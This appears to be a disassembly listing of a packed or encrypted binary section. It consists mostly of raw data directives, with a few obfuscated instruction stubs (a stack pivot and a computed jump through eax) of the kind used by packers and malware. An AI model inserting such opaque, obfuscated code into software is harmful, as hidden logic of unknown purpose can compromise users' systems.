dd 0D50EEFE2h, 259C6DA1h, 0A312EB8Ah, 2865A51Ch, 316E74F1h
dd 95E0EF7Ch, 410CC5FAh, 2E99EFDCh, 13250E63h, 329CD0AAh
dd 78000000h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h
dd 27F25DEFh, 0AA2579CAh, 10B58D0h, 72F10000h, 13487F8Bh
dd 0EFDC2356h, 0D3EA17B6h, 65A2ED38h, 18EED539h, 789168A5h
dd 9077AE49h, 370E4B7Ah, 0B958F3CAh, 37D67140h, 0C98603C6h
dd 29E7E216h, 755C93DEh, 4A953087h, 660F4E0Dh, 0ABB89C78h
dd 79E623C7h, 0E7E31273h, 0ECB48C7h, 6EE7E312h, 3B8639CFh
dd 8BD627FEh, 60AB4671h, 16E78E15h, 5595049Fh, 6264E118h
dd 0AEEF7D32h, 0B38F4705h, 0DB183BA6h, 41B83F8Ah, 0E48DC4F9h
dd 71E19817h, 1F8ECB85h, 5A47B9A0h, 96D1F227h, 0A23D885Ah
dd 0D0AD1A57h, 70F771DCh, 0FA07EE25h, 53A58CC3h, 21601F5Ch
dd 5D6825A2h, 7DC8F7DAh, 259C6940h, 675F37E7h, 0B5F8C31Dh
dd 9DEh, 0E36A43B4h, 6EF5CC3Ch, 0FD843BC7h, 860DA056h
dd 149B22DFh, 1CE9697Ah, 84771EA5h, 903AA31h, 799037BEh
dd 1B8AC148h, 0E231E19Eh, 0D40841EFh, 0F229906Dh, 86C3F20Bh
dd 0D8E920C7h, 0D02B1251h, 0B14C7B91h, 8D7C1B66h, 114E9934h
dd 0CC5D9DE5h, 9DE8833Ah, 1D9C1B52h, 0E216E3A0h, 0BBF843E7h
dd 7C201C4Eh, 0A03B86EFh, 0DC2FB26Bh, 0D9C03FEFh, 0FB569322h
dd 2462D130h, 0C069D0AAh, 6F571A9Dh, 0AB14D04h, 4E0B88BFh
dd 0AEEFDC5Ch, 0EDAD2663h, 89000000h, 0AA13EED5h, 4E67966Dh
dd 0D0E914B3h, 0EB17FE35h, 242A97D4h, 78E7E21Ch, 1BBF7CF9h
dd 0D41FE7E2h, 8C49C097h, 0C25D54A5h, 1C854277h, 46E5E7E2h
dd 1B6601B4h, 0E9D831D0h, 31B8034Eh, 0A742738Ah, 84BBF038h
dd 7C3D0507h, 9D246FEFh, 0A562DF5Eh, 5EFDC3Ch, 96D67DBAh
dd 3BABF805h, 2A827F10h, 0C30EA9F4h, 0EB520F8Ch, 67B2EFDCh
dd 0C068E51Ch, 1AF77137h, 0EC378E7Bh, 8A33CEB5h, 9A57D453h
dd 0FAF7D9C9h, 0CB372AFh, 308974F1h, 0D6033495h, 500E6Dh
dd 22C6AB5h, 0FE1D6847h, 8A8F033h, 15EA0000h, 9A7219A0h
dd 1FDA42Bh, 7A8C33BAh, 0E815BC43h, 0A3B04AD1h, 54DBE21Fh
dd 0E0675EADh, 6DF4C339h, 0F77E37C6h, 17D451C0h, 77EFE233h
dd 906D0A3Eh, 0F30BF229h, 0DFD625C4h, 0FDBCF944h, 8F26D7BEh
dd 956CA9F4h, 0CAC64D64h, 0AA13EED5h, 0D925C40Fh, 0BFFC47E2h
dd 5A011E8h, 0A017E7CEh, 447D8C63h, 0C90646BDh, 235B1592h
dd 54B5EF7Ch, 0FDA75B4Dh, 0BA0DFF25h, 0EA89246Fh, 741BA213h
dd 5A912C85h, 0BFA15EDBh, 0B601EFDCh, 0E1320C79h, 0B046771Ah
dd 0C96453A9h, 0F998337Eh, 7716B100h, 48932E81h, 9405D0EBh
dd 6421EC07h, 8031C895h, 0C84F9AE5h, 0A2D9E821h, 0E2E9A623h
dd 12497722h, 22E2D895h, 0A2ED3877h, 0A35D9265h, 187722E2h
dd 7A4BC2A9h, 4E17E23Dh, 0E8CF06BFh, 0BB24F12h, 3FDA2570h
dd 0CA355F4h, 2AE92671h, 0A03B8A83h, 0BA50556Bh, 99648766h
dd 0DE7E2DDCh, 0B2C31AA2h, 0DA97144Bh, 3A7722E1h, 761DA4EFh
dd 8C54287h, 687722E2h, 0C837D21Dh, 95144B80h, 2A675EAEh
dd 0BD009BBDh, 73FA457Eh, 487FBCFCh, 0B742A5CBh, 0BA523986h
dd 327DCE0Bh, 44A86297h, 0B8378717h, 0EF8A39D1h, 33F06DA4h
dd 93871745h, 0E5B00B48h, 6517A78Ch, 47F1A48h, 0D7F60000h
dd 0E7E2171Ah, 0E226A55Eh, 28C0E1E7h, 934CE7E2h, 0CDE7E22Bh
dd 2C8AC024h, 4F8C541Ah, 0F42B60A8h, 0B03BF875h, 509BE7E2h
dd 5927A413h, 0FBEF7CCAh, 0DDCE72B0h, 6F3A1565h, 7112Ch
dd 378E8100h, 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h
dd 0B65C47E1h, 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh
dd 34AE6BE8h, 0D50EEFE2h, 259C6DA1h, 9ED31B8Ah, 0EC69E867h
dd 0E7E2172Fh, 9A07448Fh, 0DFE21E70h, 0E8DF2BCAh, 30B7024Dh
dd 0A3EBF414h, 1CBA376Eh, 0BEF77C36h, 0F1933C73h, 0A7F019ABh
dd 2F94FD3Ah, 96FD8BB7h, 73E73BBh, 0D7B6348Ah, 25E1C8AEh
dd 81B8039Eh, 37C64704h, 1F5CA7AFh, 0B1E883CEh, 0C5F8B532h
dd 0D58AF37h, 0ACE129D0h, 0BC79F675h, 1CAF37C5h, 0EADB32D1h
dd 0AAC13EADh, 42B6D1F0h, 20D9C0F7h, 0AA630A91h, 0E2039605h
dd 0E12C89D2h, 0D034A9A3h, 539661DDh, 64Eh, 73FAB344h
dd 0FE853CCCh, 8D14AB57h, 169D10E6h, 0A42B926Fh, 8C79190Ah
dd 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h, 0E235712Eh
dd 6498D1EFh, 30CC5D9Dh, 56F1C835h, 3E75C00Bh, 740FA657h
dd 7DEC29h, 0EF7C2346h, 44DD3FA0h, 0BAF851Dh, 0DC66D18Eh
dd 9BE631EFh, 0E716B550h, 77A633CEh, 0B24D7490h, 4CF2A67h
dd 0BDF42971h, 76738640h, 5E95E0F7h, 82A562DFh, 0BA05F7D6h
dd 0C881BE7Dh, 4F7D682h, 0F7D68347h, 8A800951h, 0D2B9F03Bh
dd 0DE4D8A3Bh, 0D68A3761h, 7C3091EFh, 0ACEED8A7h, 33AD520h
dd 6EBEED1Ch, 8D118A94h, 4C97327Dh, 2B685FADh, 0D66502BEh
dd 48C746FFh, 0D6650ECBh, 0EE236EFFh, 0FFD66531h, 9C094691h
dd 0EF6DD288h, 2E6C45B4h, 56B5726h, 6FD417E2h, 23000005h
dd 0AB52D9ECh, 36DD6453h, 0C56CF3CAh, 4EF57C33h, 0E9830AB3h
dd 14AD58FAh, 0A015E68Dh, 2D987219h, 0B70EFFA6h, 0D8AF930h
dd 0EFE23650h, 9D4377B0h, 6CE9205Dh, 0DFE21E42h, 0C582FF7Eh
dd 25EFE22Fh, 6926A3DAh, 0C9EFE230h, 0A5F0417Eh, 23926B0Ah
dd 0BCF305ECh, 9A81C07Fh, 70BB566Fh, 2FFFBC39h, 145FEFE2h
dd 0B2EF30D7h, 30817817h, 0A40B02A9h, 41F504BBh, 0D224C38Ch
dd 0AAF540DBh, 2B2FD80Fh, 8D48794h, 0F1719124h, 0FCFBB690h
dd 0E219C27Fh, 8CD722EFh, 3081784Fh, 713C9795h, 40B69D1Ch
dd 1A7B386Dh, 90DBEFE2h, 348D7C53h, 3EC172ADh, 5A00DF50h
dd 0DC000001h, 0E9205D9Dh, 7C354A6Ch, 0A555F4EFh, 0DD28730Eh
dd 46560D42h, 5AC9EFDCh, 0F12E9973h, 0F23ACB96h, 0E70986BDh
dd 91F77664h, 0E118BF46h, 98338A7Ch, 0C867024Dh, 82F98031h
dd 51CE053Ah, 0FF70904Bh, 0A2D772BDh, 0FFD09FE9h, 0DD400B76h
dd 14AF06F6h, 12218CC9h, 0AFC0BEB0h, 2Ch, 205D9D8Bh, 1F3A6CE9h
dd 59A4EF7Ch, 2ED089BEh, 67A2EFDCh, 0D824C35Eh, 8AAD46E1h
dd 0FB664ABFh, 2562D130h, 0C45FD0AAh, 3B000000h, 490F9C6Dh
dd 3A33A920h, 0FB6A3C9Dh, 96387086h, 6A6B144Bh, 4C759052h
dd 72409EBh, 0E5229368h, 2F967312h, 5904F594h, 2E7914A3h
dd 681148E3h, 95673753h, 2EDC122h, 82F9B633h, 0E59E7E2h
dd 5EAF86C3h, 9DA3E067h, 89E7E287h, 43BA4170h, 128FC6FBh
dd 0EF76D5E8h, 0D9C0F742h, 6F2CA92Ch, 0CFEFDF68h, 5EBA2384h
dd 0BB3C4BFEh, 0C742E970h, 0D8BEC0FEh, 9F6A1562h, 3B15Ch
dd 972EE100h, 22916910h, 0B108F49Bh, 3A8D832Ah, 0C8F10CB3h
dd 16BCA741h, 0A44BD2EBh, 30D75E57h, 0BD64EBDAh, 0B7EE754Ch
dd 380ECB48h, 356EEFE2h, 0D5906D01h, 0C0479229h, 9AD1E019h
dd 16E19E1Bh
dd 0F641E7E2h, 6DFEFAB9h, 0EB8A259Ch, 0DD1CA312h, 75B20BF6h
dd 971ED749h, 0A15AE7E2h, 0DBE7E296h, 14AF06F4h, 97328975h
dd 1DC4014Ch, 7BE4CDDh, 0DE0885BCh, 38DFE29Eh, 9BE352EDh
dd 4D78937Ah, 753267B2h, 0D5EFE2B1h, 52EDC036h, 3A71BC07h
dd 0FF1912BBh, 8F63AD7Fh, 60AB4679h, 0DD6BD815h, 7FF77CB1h
dd 826AF634h, 0CB961D65h, 30188h, 477E9100h, 0D2E119C0h
dd 6158A44Bh, 0EADD33DAh, 7841BC63h, 0C64C57F1h, 54FB823Bh
dd 0E0870EA7h, 6D149B2Ah, 679E259Ch, 38BE7BF8h, 0E51EEFE2h
dd 259C6DB1h, 8D12EB8Ah, 2232B9D6h, 0CA519C30h, 8C820B53h
dd 0EA679E39h, 0E7E2582Dh, 0ACF7428Dh, 72F2F875h, 1964EF7Ch
dd 0C5EE39E2h, 0B1995D4Ah, 0B36CA174h, 40EFDCB6h, 8CB70AD5h
dd 45D0AA99h, 39h, 205D9D21h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh
dd 68A2EFDCh, 75C0F709h, 0F5C03BDAh, 0D39EC15Ah, 4C178266h
dd 0AA254EF5h, 910E8DD0h, 0EFDC22D4h, 33ACE934h, 0D3h
dd 0D19C6D0Fh, 0F1C43A35h, 25C00B56h, 55F48FDAh, 0D77611A8h
dd 1A67926h, 4581C992h, 49C05FFAh, 7189D424h, 115CA742h
dd 59E02B76h, 0E29D161Ch, 0BA0B02E7h, 0F07D8C33h, 2A61AC15h
dd 5FFACD43h, 0A360DD14h, 3E7E29Ch, 39A87BB8h, 219068F1h
dd 43B89FD6h, 49C63572h, 0EF7CB10Fh, 924FCC4Bh, 0F2EFDCB3h
dd 0CE196AA7h, 5388D047h, 155F9F1Ch, 7EC9F771h, 1CA56047h
dd 0AA13EE95h, 6865066Ch, 0F437021Dh, 1CEh, 0F37A33C4h
dd 7E05BC4Ch, 0D942BD7h, 961D9066h, 24AB12EFh, 0CF9998Ah
dd 74872EB5h, 0F913BA41h, 69A047CEh, 2B9AD158h, 0E239F1AEh
dd 0E41851EFh, 0A229906Dh, 4AC702FBh, 0E7E2178Dh, 6BF4EEDh
dd 9C905ABBh, 3A38D088h, 9D6C68EFh, 40E9205Dh, 0BBC5F923h
dd 0A1104D61h, 7CB2F224h, 0C9FB5CEFh, 7E773158h, 0CC039EE9h
dd 3E27FA23h, 6698671Ah, 5AC7044Fh, 0EFDC7DA1h, 99F8C32Eh
dd 0D0AA5AAAh, 7835B231h, 0D8EFDC72h, 55F0C739h, 982BF0Ah
dd 0C0h, 259C6DE5h, 0A71EEB8Ah, 1BD1D70Ch, 4CBDE7E2h, 0B647EE75h
dd 0B5F564FFh, 8AC44178h, 0E4EF7C2Fh, 54D31299h, 0DC311AD7h
dd 0F22F7AEFh, 97CE034Bh, 306D54B0h, 7E5F44C1h, 0C40FF770h
dd 625BA68Dh, 0DAC934DBh, 0A11826E0h, 609EE9D5h, 1D69FF38h
dd 0E3DE21ECh, 0AF000000h, 37DE6558h, 0C269F0C7h, 51F87F46h
dd 0DA8108BFh, 750F962Fh, 0A019E46Eh, 2C997219h, 0B90CFEA5h
dd 43728B32h, 991685BCh, 0EFE23ADCh, 0D5CF033Ch, 171CD956h
dd 317CE7E2h, 85E01DF4h, 639F3E75h, 0F3DA115Ch, 10A7571Ah
dd 44DF2A75h, 56FDBCF9h, 58D70EA7h, 0E2171EDBh, 0F6337EE7h
dd 0F511F837h, 669433CEh, 9BC7044Fh, 370F9C6Dh, 8C31537Ah
dd 0D209A4EFh, 9B025F29h, 0B4F104BFh, 0E952CDDh, 0E31A5797h
dd 0E2E82066h, 0AC4792DFh, 9971FC0Dh, 0B158DF2Ah, 99CE6958h
dd 3FACC2DBh, 5AB39AC9h, 8D32E6Bh, 0E8DFCC3Dh, 0A71B488Fh
dd 7A21A8F3h, 0F8973283h, 9178AF06h, 0EAD487Fh, 1F80CBF2h
dd 754830E8h, 855895A9h, 0F712F928h, 0ABE833CEh, 49C08550h
dd 0B34AF178h, 3246702h, 0
dd 9A6DB6DAh, 10E98823h, 956706A1h, 13E88722h, 9D6807A2h
dd 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h, 68FA8A25h
dd 738Bh, 24048F54h, 4240481h, 56000000h, 0C681E689h, 4
dd 4EE81h, 34870000h, 14895C24h, 2A5D6824h, 1C890000h
dd 9DBE5624h, 81403207h, 1433EFF6h, 66F68107h, 894F262Eh
dd 24348BF2h, 4C481h, 8B540000h, 0C483241Ch, 57D16804h
dd 14890000h, 8438F24h, 53241C8Bh, 0C381E389h, 4, 4C381h
dd 1C870000h, 148B5C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59895C
; ---------------------------------------------------------------------------
dw 0EAA6h
; ---------------------------------------------------------------------------
push cs
cmpsd
mov eax, 800254Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 49h
dd 2100CB79h, 0D5251A55h, 0DB17A529h, 0CD675C43h, 8A2BBD27h
dd 0D861D50Ah, 216F554Fh, 162561E0h, 0D101A9EAh, 210D0C6Ah
dd 4D02FF2Dh, 3730F4B1h, 322B3437h, 6C498E4Ch, 0F76DEAE3h
dd 8D64A90Ah, 27058Dh, 51006A08h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 4F709B2h, 66262692h, 0F60DE8Bh
dd 8B51D9B7h, 0FA266DB5h, 89615F07h, 0FA1CD98Dh, 6840F07h
dd 89000000h, 0FA30FD95h, 0AD85C707h, 6C07FA31h, 8900005Ch
dd 0FA1771B5h, 0D985C707h, 7FA2Bh, 0E8000000h, 0Ch, 0FC93AB49h
dd 0CD776FCEh, 0F2C82B6Eh, 0EDB5FF5Bh, 6A07FA28h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 38A1C350h, 4645F240h, 0EE950A2h, 0C7000000h, 0DDCE1A36h
dd 68453465h, 0E22F82F9h, 95FF5FF0h, 7FA1799h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 93C35747h, 647E7BCh
dd 6A0F4575h, 1995FF00h, 8B07FA10h, 951AEBC0h, 0EA052693h
dd 37079D6Bh, 0D55EF98Ch, 0DE2F0EE2h, 41919141h, 8E9C4042h
dd 0D3E9F7h, 0F0340000h, 9CD75F54h, 0C8C3CA45h, 0ABDAB6E1h
dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh
dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h
dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h
dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h
dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h
dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h
dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh
dd 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
dd 9D744700h, 99E0E312h, 5Eh, 6 dup(0)
dd 1501E900h, 0EA680000h, 0E9080029h, 0FFFA56E8h, 2AEA68h
dd 56DEE908h, 0C868FFFAh, 0E908002Bh, 0FFFA56D4h, 2CDD68h
dd 56CAE908h, 4768FFFAh, 0E908002Dh, 0FFFA56C0h, 2E1668h
dd 56B6E908h, 0C768FFFAh, 0E908002Eh, 0FFFA56ACh, 2F5668h
dd 56A2E908h, 1168FFFAh, 0E9080030h, 0FFFA5698h, 317868h
dd 568EE908h, 5168FFFAh, 0E9080032h, 0FFFA5684h, 339268h
dd 567AE908h, 9668FFFAh, 0E9080034h, 0FFFA5670h, 360B68h
dd 5666E908h, 6168FFFAh, 0E9080037h, 0FFFA565Ch, 394E68h
dd 5652E908h, 5E68FFFAh, 0E908003Ah, 0FFFA5648h, 0A4DAC452h
dd 4D831BF7h, 0F32975A0h, 9FD5C946h, 497F1FF2h, 9A776015h
dd 0F321CE04h, 48C875ABh, 0A0732056h, 0A1F9C8FEh, 0E6AB2285h
dd 33EA5007h, 0A2326CA7h, 4BD6C84Dh, 84E97C22h, 78D90F8Fh
dd 0A3BF4F11h, 7E0AE09h, 69B9449Dh, 139E0014h, 69D044EAh
dd 7307E0ADh, 158986DBh, 2D34EE6Fh, 406EB4F5h, 4A93h, 92BC2400h
dd 0F4A69263h, 41A24804h, 48881848h, 0F47F1FF3h, 0E3B125CBh
dd 0FF07E116h, 51C116A6h, 0E814A74Dh, 7E0E681h, 49500A8Bh
dd 406EF211h, 2E70A3F8h, 3BD57AA3h, 9AFD863h, 0DC28h, 95AED800h
dd 0CCACD887h, 0A7A35A00h, 57A7326Ch, 0FC15B92Dh, 8C320FDEh
dd 294532DFh, 0FFE709C6h, 0D4158988h, 2287127Bh, 0FDA171F1h
dd 55E04972h, 0EB7B23F0h, 3DA8FAC1h, 0EC92E93Eh, 0E7BD3AAEh
dd 50C3FFE6h, 2B80184Eh, 203AB4EAh, 0B8F9631Bh, 19FAA74Dh
dd 48D3CB49h, 122BB61Fh, 3D59E977h, 7E0D39Fh, 4BACE23Bh
dd 0CAD3113Eh, 56DF0216h, 0B23D61B1h, 74902089h, 0FDDBA31h
dd 0E136C61Fh, 8B386E30h, 6638DC86h, 8B49B2DBh, 9998102Eh
dd 6027C601h, 91000012h, 36E31985h, 0DF8CC2DCh, 85326836h
dd 31DE148Ah, 5488BEE0h, 4559B89Fh, 0ECB2620Fh, 970709B6h
dd 3F5FB461h, 0C6E23A09h, 7E6AC63h, 0A7742B91h, 8EF10D6Ah
dd 0B4FFE683h, 0FBCF25Bh, 0B50A9A04h, 5B993F5Fh, 0CA96F3A4h
dd 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h, 0A7679FA6h
dd 0F305406Eh, 96000000h, 0B9A967BCh, 92BB4658h, 0D0759E29h
dd 0A8D15C42h, 0E0BE5502h, 2BC82650h, 0B57B610Bh, 0FA177C0Fh
dd 1A090293h, 0F51EA9F5h, 94B27C7Bh, 69921D81h, 0B2079700h
dd 8C120260h, 0E2339823h, 1AAD53BCh, 0E6B071EEh, 612CE7FFh
dd 73C3B080h, 285EC7D3h, 48CA987Bh, 4962ED56h, 702EE440h
dd 0C353BCE5h, 0BBE32E83h, 1AA5F916h, 39D74BF1h, 6507E0EDh
dd 1475D60Ch, 277CBC4Ch, 960AB0EEh, 0FDDCB42h, 0E63F34Ch
dd 0CD659B03h, 5D039B78h, 7F3D61B0h, 99981168h, 6011B0EBh
dd 91000011h, 36E31985h, 0DF8CC2DCh, 85326836h, 31DE148Ah
dd 5488BEE0h, 4559B89Fh, 0ECB2620Fh, 970709B6h, 3F5FB461h
dd 0C6E23A09h, 7E6AD63h, 0A7742B91h, 8EF10D6Ah, 0B4FFE683h
dd 3862F25Bh, 9090474Dh, 0D23FE424h, 721841CCh, 0EB8C8734h
dd 0E71E6CCFh, 0D8419AFFh, 6CA7EBA2h, 0D142A732h, 0BFFF97CDh
dd 555E1295h, 8CF8CFA4h, 0FFE6C929h, 514DC257h, 8E349DC6h
dd 0DA6A34E1h, 88138B85h, 0C126B95Fh, 3D164C52h, 510F7A24h
dd 0CFA3A5C1h, 0B60F07E0h, 0F4AF1579h, 378CFF6Ah, 872CB3DAh
dd 92573E6Fh, 775CAF29h, 0A830549Fh, 78E8A102h, 4BDECCE8h
dd 0A3FCF851h, 0D68AFF18h, 0ABA02A46h, 0CDF7FF6Eh, 87367EF3h
dd 0EC35DB5Fh, 65AE0393h, 0BD560339h, 729A23E1h, 4A8569E9h
dd 1082ABh, 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h
dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h
dd 18E71D81h, 0AE41A4C0h, 96F07E6h, 326CA752h, 65FB8EA7h
dd 0A277B9D5h, 25B07E0h, 61E6BCCh, 0E009940Ah, 67A7E777h
dd 0E0A1E84Bh, 0FB50E07h, 0DAC4659Bh, 8D18710Fh, 0E6BFFA61h
dd 426C04FFh, 21A1F75Eh, 0C3DB39F9h, 0A60F38h, 86BEC57Fh
dd 243874FEh, 3Ah, 0CA96F3B5h, 0D31D1E3Ah, 6EC707E0h, 178789DEh
dd 0D2086DE1h, 41D207E0h, 967A275Dh, 32D7D08h, 0D1ED75C0h
dd 7E16F6Eh, 0F8C13B94h, 6EA74C49h, 0D67CA530h, 0FCEEFh
dd 96F38800h, 31DE848Eh, 1479046Dh, 0CD369FFFh, 0AB92213Dh
dd 0B71007E6h, 5D41D227h, 5997A27h, 3828617Ah, 0D1528CA8h
dd 17700FE6h, 81E13287h, 6BA10A94h, 0BE4955BEh, 0D240E4A5h
dd 0FBFD52CCh, 0EBB69740h, 74D6F282h, 5307E0D9h, 0C0C17D29h
dd 0B95F690Bh, 5A591770h, 0B19E6478h, 0F6DD776h, 92840000h
dd 0E929D60Ch, 43D27FB5h, 9778255Bh, 0ED24D107h, 92477BB1h
dd 3668A9h, 0A7DDC153h, 528816FAh, 0FA306EA5h, 54B7D32Bh
dd 8207E6AFh, 79E0651Ch, 8FFFE683h, 0BAD666FAh, 7E6AA88h
dd 2565F54Eh, 0E6AAA609h, 0CD73CC07h, 6B33E035h, 138B8835h
dd 461A6F88h, 0C9589AB6h, 257E0FE0h, 649F9267h, 0DB7AB596h
dd 0F03h, 407628EEh, 0E91F7F93h, 8FC5D93Ch, 3B712DE2h
dd 0E51B838Eh, 0FE13FCB1h, 57BD6AA0h, 0AC641147h, 40FBCF2h
dd 3D95649Ah, 0E6B0BE21h, 0C77EE407h, 0A7326CA7h, 26292D57h
dd 49CE316Ch, 2049D4CAh, 77B73DB7h, 0E23F8EFAh, 1A848F3Ch
dd 6620918Fh, 7540275Fh, 59B90E38h, 0EB91BA45h, 8E80Ah
dd 0AF65BA00h, 0AE536BDEh, 87F00F9Ch, 67BC2AE1h, 426BF6A8h
dd 124E3B9Ch, 0E6024282h, 0FFE68383h, 5DB358B1h, 0E78DB641h
dd 0E6AA4E73h, 8F1F7807h, 8FC5D93Ah, 0E26D31E2h, 0E6AA4FB6h
dd 246507h, 0F2138D11h, 9A9035F7h, 0ABEB7BE4h, 1D2BB56h
dd 9A6844BEh, 9FC853BCh, 0E08618FAh, 0E0B22A6Ch, 1BF180Fh
dd 9664A806h, 346B0A45h, 0BD00000Eh, 620F4559h, 0BB8EEB0h
dd 0B15E940Ah, 5D0A405Eh, 80B4EAB4h, 712DE4CBh, 18868E3Bh
dd 0C3DB35E2h, 6B33E08Dh, 0F20E6635h, 7E6B18Fh, 0A7984FB5h
dd 42A7326Ch, 0DD42CDD1h, 78DD6836h, 177C0797h, 0CF08A1FDh
dd 0BE2F6D15h, 8BC5FD04h, 26633874h, 0F4000008h, 0E68379E0h
dd 0FC1858FFh, 0FFE68399h, 67C86EC7h, 92AE3E22h, 7E6AAADh
dd 0AEEE7ED7h, 0A9EF526Eh, 5EB107E6h, 1A6FF40h, 0DA038E10h
dd 128C8734h, 0BAE42FDCh, 623CD52Ah, 7508AED7h, 0A3332D5Ch
dd 7D193A79h, 0D57BE827h, 0DF213Dh, 0AA030FE1h, 64E605ECh
dd 4CEB2696h, 0D83h, 0C0F6A86Eh, 699FFF13h, 0F4559BCh
dd 0BBF1AD62h, 659B030Eh, 7E937C31h, 0D73DEA20h, 2CE491C7h
dd 848F3C72h, 0BD15E41Ah, 0E6B13EA1h, 47FE6407h, 0F0AE67BCh
dd 28769D4Ah, 87DB389Dh, 618A1589h, 0FC1368F8h, 48EE17A2h
dd 8C46B7B5h, 748B4D85h, 773EB38h, 0F37C0000h, 1E3ACA96h
dd 7E6AB4Eh, 1A6FFF58h, 0C26FA5F9h, 72C24D51h, 5ABF31Dh
dd 0E6AA2A91h, 0DB494007h, 6DFD6638h, 0E0C90F51h, 1CDA330Fh
dd 96649F4Fh, 0F472114Ch, 0FD00000Ch, 0A24F8519h, 4BF82E70h
dd 0F19ED4CAh, 9D4A801Eh, 0C0F42A74h, 0B1ED240Bh, 5846CE7Bh
dd 39B7522h, 0ABF320CDh, 324EA675h, 7E6B2CFh, 0A7D88FF5h
dd 42A7326Ch, 4442CDD1h, 0DA1219D3h, 7838748Ah, 6F5h, 837EE009h
dd 1555FFE6h, 0E68396F9h, 0BD63BCFFh, 0A3332D5Ch, 0E6AA9487h
dd 0A6C24207h, 7E6AA43h, 0A1731871h, 0C40494FDh, 3664F39Ah
dd 1CC2476Eh, 0C4FAA46Fh, 633BD72Ch, 5C09AFD8h, 0AE11D6B7h
dd 0F41EA054h, 9FBBFB8Bh, 7E7183Ch, 6581116Ah, 7E71802h
dd 9E31D730h, 0CC5C0485h, 0E144B6B0h
dd 0B9A20C0Fh, 3215FC1Dh, 67420069h, 6896640Fh, 0C398E2Dh
dd 5EB80000h, 0B55D0A40h, 0F06B3E9h, 63AC598Fh, 0B958053Bh
dd 0C67BAFE5h, 346A34DDh, 0DB118D87h, 86BCE22Eh, 2E643AD9h
dd 88EB075Fh, 0AE07E6B3h, 6CA79148h, 0D142A732h, 0DE2642CDh
dd 70158989h, 0D758FEA0h, 1AF94E1Dh, 0E231DE84h, 7EB686BCh
dd 1C38748Fh, 180h, 326CA7ADh, 0CDD142A7h, 0D533697h, 0ADC7617Dh
dd 628C07E0h, 582CE9E9h, 0BD06AC64h, 7EE1FD3Dh, 0A407E15Dh
dd 5D7CDF4Bh, 51AA07E1h, 0FC1858E8h, 7E15D99h, 0D1578E8Eh
dd 0D5167CC2h, 613DD77Ch, 7407ADD6h, 0E175E148h, 0B06AEB07h
dd 6F7E71A9h, 330F40h, 0BCA00000h, 65F0AE67h, 5435963Ch
dd 92607C0Ch, 9007E09Bh, 0F87DA737h, 9D0110A7h, 0FF22AB23h
dd 339AC659h, 3D07E11Ch, 0C3FB02BCh, 61406F28h, 0EAh, 326CA7F2h
dd 110257A7h, 0D73AE78Dh, 3CD73CC7h, 927DD262h, 0B258810Ch
dd 4559BA1Fh, 0AF2E9B0Fh, 0BF54FFE6h, 1BFA4FDFh, 8CA8F883h
dd 0FFE6AE29h, 0EF95FE57h, 0BDD919B1h, 0FFE6AE5Ah, 28892F88h
dd 536FFF61h, 7E38D7Dh, 80C050A9h, 0E3770164h, 5747CB07h
dd 7B46AC16h, 0EFB39B89h, 848E086h, 0B5405EB3h, 0D839E68Ch
dd 0AD20839Fh, 0DBF707E2h, 7E2AD78h, 0AB04459Eh, 0B25F0C42h
dd 8D692EECh, 0F4A9E62h, 0AD270h, 0A7F71F00h, 504EC471h
dd 0F6A86D1Ah, 0A2FC13C0h, 4C52BF6Ch, 462DE216h, 0F09DD3CBh
dd 97447A24h, 42EF2579h, 0C897CDD1h, 0B3F15470h, 0B91F07E6h
dd 0D6AA702h, 0E6838EF1h, 0F41FB4FFh, 8DF61FAAh, 156EE24h
dd 0E5486413h, 0BFFE682h, 0F6A349B2h, 0B34B811Dh, 7CD9B45Eh
dd 9275BF48h, 0ACD560C9h, 6CA74F06h, 0D142A732h, 0AAB097CDh
dd 49000004h, 3ACA96F3h, 0E0A4081Eh, 0B23D9607h, 0E0A31F86h
dd 51912907h, 0E0A3D235h, 25799C07h, 2CE68BE4h, 18BEE772h
dd 9ED6DD97h, 3C406EAFh, 1D3h, 7292BCCDh, 807B555h, 0E141B55Bh
dd 0EDFFE701h, 1834C49Ch, 7E7292Bh, 7BD060B9h, 23D00698h
dd 0A23AEF0h, 3551E17Fh, 0FE1093Bh, 0B9904EA7h, 0A29664D2h
dd 9F9C867h, 1EF80000h, 759D4A80h, 0CF46F329h, 23EC99CFh
dd 7998457Bh, 6BBEF25h, 74AAF41Dh, 1B514DC7h, 0C6FCA26Eh
dd 6EA4FA19h, 0C82B479Fh, 0EE07E6B5h, 6CA7D188h, 257A732h
dd 0DC05900Eh, 148A8936h, 7EE42F84h, 59820D91h, 9BB74AF0h
dd 47CCB06Ah, 1DA8F61Bh, 85558BF4h, 38748F4Dh, 13AEBh
dd 6CA77C00h, 0D142A732h, 29E83DCDh, 1BC1EA75h, 530D7CDDh
dd 0AE0DA7C3h, 60B907E0h, 0AD42A9D5h, 0B44C07E0h, 48EEB05Fh
